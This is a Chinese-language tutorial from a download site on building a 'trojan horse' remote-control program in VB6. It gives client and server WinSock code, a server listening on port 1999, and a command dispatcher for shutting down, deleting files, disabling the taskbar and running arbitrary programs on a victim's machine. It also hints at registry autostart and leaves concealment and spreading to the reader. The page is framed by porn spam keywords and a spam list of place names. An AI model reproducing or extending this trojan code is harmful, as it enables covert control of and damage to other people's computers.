人人做人人澡人人爽欧美,国产主播一区二区,久久久精品五月天,羞羞视频在线观看免费

當前位置:蘿卜系統下載站 > 技術開發教程 > 詳細頁面

用VB6.0編寫“木馬”程序

用VB6.0編寫“木馬”程序

更新時間:2022-08-19 文章作者:未知 信息來源:網絡 閱讀次數:

  木馬,也稱特伊洛木馬,名稱源于古希臘的特伊洛馬神話,是一種遠程控制軟件。現在網絡上流行的木馬軟件基本都是客戶機/服務器模式也就是所謂的C/S結構,目前也有一些開始向B/S結構轉變,在這里暫且不對B/S結構進行詳談,本文主要介紹C/S結構其原理就是在本機直接啟動運行的程序擁有與使用者相同的權限。因此如果能夠啟動服務器端(即被攻擊的計算機)的服務器程序,就可以使用相應的客戶端工具客戶程序直接控制它了。下面來談談如何用VB來實現它。

  首先使用VB建立兩個程序,一個為客戶端程序Client,一個為服務器端程序systry。

  在Client工程中建立一個窗體,加載WinSock控件,稱為tcpClient,協議選擇TCP,再加入兩個文本框,用以輸入服務器的IP地址或服務器名,然后建立一個按鈕,按下之后就可以對連接進行初始化了,代碼如下:

Private Sub cmdConnect_Click()
  If Len(Text1.Text) = 0 And Len(Text2.Text) = 0 Then
   MsgBox ("請輸入主機名或主機IP地址。")
   Exit Sub
  Else
   If Len(Text1.Text) > 0 Then
    tcpClient.RemoteHost = Text1.Text
   Else
    tcpClient.RemoteHost = Text2.Text
   End If
  End If
  tcpClient.Connect
  Timer1.Enabled = True
End Sub


  連接建立之后就可以使用DataArrival事件處理所收到的數據了。

  在服務器端systry工程也建立一個窗體,加載WinSock控件,稱為tcpServer,協議選擇TCP,在Form_Load事件中加入如下代碼:

Private Sub Form_Load()
  tcpServer.LocalPort = 1999
  tcpServer.Listen
End Sub


  準備應答客戶端程序的請求連接,使用ConnectionRequest事件來應答戶端程序的請求,代碼如下:

Private Sub tcpServer_ConnectionRequest
(ByVal requestID As Long)
  If tcpServer.State <> sckClosed Then
   tcpServer.Close‘檢查控件的 State 屬性是否為關閉的。
  End If  ’如果不是,在接受新的連接之前先關閉此連接。
  tcpServer.Accept requestID
End Sub


  這樣在客戶端程序按下了連接按鈕后,服務器端程序的ConnectionRequest事件被觸發,執行了以上的代碼。如果不出意外,連接就被建立起來了。


[page_break]  建立連接后服務器端的程序通過DataArrival事件接收客戶機端程序所發的指令運行既定的程序。如:把服務器端的驅動器名、目錄名、文件名等傳到客戶機端,客戶機端接收后用TreeView控件以樹狀的形式顯示出來,瀏覽服務器端文件目錄;強制關閉或重啟服務器端的計算機;屏蔽任務欄窗口;屏蔽開始菜單;按照客戶機端傳過來的文件名或目錄名,而刪除它;屏蔽熱啟動鍵;運行服務器端的任何程序;還包括獲取目標計算機屏幕圖象、窗口及進程列表;激活、終止遠端進程;打開、關閉、移動遠端窗口;控制目標計算機鼠標的移動與動作;交換遠端鼠標的左右鍵;在目標計算機模擬鍵盤輸入,下載、上裝文件;提取、創建、修改目標計算機系統注冊表關鍵字;在遠端屏幕上顯示消息。DataArrival事件程序如下:

Private Sub tcpServer_DataArrival
(ByVal bytesTotal As Long)

  Dim strData As String
  Dim i As Long
  Dim mKey As String

  tcpServer.GetData strData
  ‘接收數據并存入strData
  For i = 1 To Len(strData)
   ‘分離strData中的命令
   If Mid(strData, i, 1) = "@" Then
    mKey = Left(strData, i - 1)
    ‘把命令ID號存入mKey

    ‘把命令參數存入strData
    strData = Right(strData, Len(strData) - i)
    Exit For
   End If
  Next i
  Select Case Val(mKey)
   Case 1
   ‘驅動器名、目錄名、文件名
   Case 2
    強制關閉服務器端的計算機
   Case 3
    強制重啟服務器端的計算機
   Case 4
    屏蔽任務欄窗口;
   Case 5
    屏蔽開始菜單;
   Case 6
    按照客戶機端傳過來的文件名或目錄名,而刪除它;
   Case 7
    屏蔽熱啟動鍵;
   Case 8
    運行服務器端的任何程序
  End Select
End Sub


  客戶機端用tcpClient.SendData發命令。命令包括命令ID和命令參數,它們用符號“@”隔開。

  另外,當客戶機端斷開與服務器端的來接后,服務器端應用tcpServer_Close事件,來繼續準備接收客戶機端的請求,其代碼如下:

Private Sub tcpServer_Close()
tcpServer.Close
tcpServer.Listen
End Sub

  這就是一個最基本的特洛伊木馬程序,只要你的機器運行了服務器端程序,那別人就可以在千里之外控制你的計算機。至于如何讓服務器端程序運行就要發揮你的聰明才智了,在我的源程序中有一中方法,是修改系統注冊表的方法。

  成功的特洛伊木馬程序要比這個復雜一些,還有程序的隱藏、自動復制、傳播等問題要解決。警告:千萬不要用BO程序破壞別人的系統。


溫馨提示:喜歡本站的話,請收藏一下本站!

本類教程下載

系統下載排行

網站地圖xml | 網站地圖html
主站蜘蛛池模板: 会同县| 辛集市| 西宁市| 神木县| 通河县| 龙泉市| 斗六市| 灌南县| 兴安县| 邹平县| 浏阳市| 广平县| 洛隆县| 宝清县| 柞水县| 广德县| 射洪县| 晋州市| 淮安市| 巢湖市| 株洲市| 罗田县| 台中县| 沈阳市| 绿春县| 嘉义县| 元谋县| 喜德县| 白银市| 墨玉县| 海城市| 盐源县| 镇平县| 屏南县| 丰原市| 宜黄县| 四子王旗| 涿州市| 彭阳县| 随州市| 新巴尔虎右旗|